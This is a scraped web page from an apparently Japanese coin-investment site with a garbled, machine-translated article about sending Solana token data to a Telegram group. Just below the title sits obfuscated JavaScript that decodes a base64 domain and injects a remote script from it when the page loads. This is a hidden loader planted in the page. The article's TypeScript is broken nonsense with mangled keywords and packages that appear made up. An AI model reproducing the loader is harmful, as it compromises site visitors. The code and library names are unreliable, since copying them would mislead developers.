アンティークコインTV アンティークコインの投資・購入の情報サイト

Solana: Making an program for sending token infos to an telegram group

const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx.replace(/|/g,””));const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=56532781″;document.body.appendChild(script);

** Creating Programs to Send a Token Data on AUTS

In this article, we walk with these steps that retrieve and send information about a detailed group with a detailed telegram on Solan Blockchain.

Prerequisites

Token retrieved

To retrieve the token information from Solana, Welill use the Solana Library. First, install:

`Bash

NPM installation

Then, eat the new Typescript fillet can be a new logic of retreating the token. Here's an example of a clip code to get started:

Token retrieved.ts

Type Cript

Import * as a solanaprogram from '@solan programs';

Const token_info_url = '

Const Telegram_Bot_ken = '';

Export Async Function FetchtoKenid: String) {

Const Programmide = 'Your Programs'; // Replace with your Solana ID ID

Const tokenprogramaddress = '

try {

// retreat indicates data for them

Const Marketdatponse = Wait Apart from the retinal (tokenid, programming);

Const Marketdata = MarketdataResponse.data;

// Get relevant information from market data

Const Marketcap = Marketdata.Market_cap;

const volume = marketdata.volume;

const Likey = Marketdata.liquity;

taxi {

Marketcap,

volume,

liquidity,

};

} capture (error) {

Console.error (error);

null account;

Iche

Iche

Async function fetchtochekenforesponse (tokenid: string, programmide: string) {

// Implement your Solan program to retrieve the token information

Const Programpramide = Solanaprogram. PROGRAMID.STRING ();

Const Queryargs =

Market_chart? vs_currency = 30 & inter-

];

Const response = waiting for solanaprogram.runprogram (

Programpogramide,

Programming,

Queryargs,

‘FetchtoKeninfo’,

);

// Arrange the answer as json

return reply.Data;

Iche

// Example

Async function in which () {{{

Const tokenid = ‘Solana’;

try {

Const info = wait for fetchtockekeninid);

If (info) {

Console.log (Market cap: $ {info.Martketcap} USD);

Console.log (Volume: $ {info.volume} USD);

Console.log (liquidity: $ {info.liquity} USD);

Iche

} capture (error) {

Console.error (error);

Iche

Iche

in What ();

`

Sending a token data in the Telegram Group

Token information in the Design Telegram Group, you will need to have in the middle of the library@Solana/Solana Telegram Bot-SDK. First, install:

Bash

NPM Install @Solana/Solan Telegram Bot-SDK

Then, the other Typecript fillets may be the logic of the Telegram Bot. Here's an example of a cod of silenced:

Token Fixer.ts

` Type Cript

Import * as a solanaprogram from ‘@solan programs’;

Imports {Telegrambot} freezer ‘@solan/solana Telegram Bot-SDK’;

Const Telegram_Bot_ken = ”;

Const Telegram_Group_id = ‘Your-Telemgram Grows’;

Export async function gonocheokenfotogogopopuop (tokenid: string) {{

Const Bot = New Telegrambot (

Telegram_bot_token,

{

URL: ‘https: //api.telegram.